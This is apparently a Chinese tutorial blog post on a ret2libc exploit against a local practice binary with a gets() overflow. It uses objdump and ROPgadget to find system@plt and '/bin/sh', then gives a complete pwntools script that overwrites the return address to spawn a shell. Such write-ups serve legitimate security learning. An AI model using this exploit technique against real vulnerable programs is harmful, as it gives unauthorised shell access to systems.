Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR

Ret2Libc即控制程序执行libc库中的函数。

通常是返回到某个函数的plt处,或者函数运行时候的实际地址。

下面是一个例子:

可以看出程序gets有一个明显的溢出漏洞

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

可以看到程序开启了NX,

我的linux已经开启了ASLR

而且,这个程序中,

我们可以用 objdump在plt表中找到system

objdump -d ret2libc1 | grep "plt"

用ROPgadget可以找到 ‘/bin/sh’

ROPgadget.py --binary ret2libc1 --string "/bin/sh"

system_plt = 0x08048460
bin_sh_addr = 0x08048720

确定溢出漏洞所需要的填充长度为112

利用思路:

1、用system_plt地址覆盖函数的返回地址

2、构造一个system_plt的返回地址

3、给system函数传入参数:/bin/sh 的地址

我们就可以构造payload了

exp:

from pwn import *
sys_plt = 0x08048460
bin_sh = 0x08048720

io = process('./ret2libc1')
payload = 'A'*112 + p32(sys_plt) + p32(0x41414141) +  p32(bin_sh)
io.sendline(payload)
io.interactive()

成功getshell

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值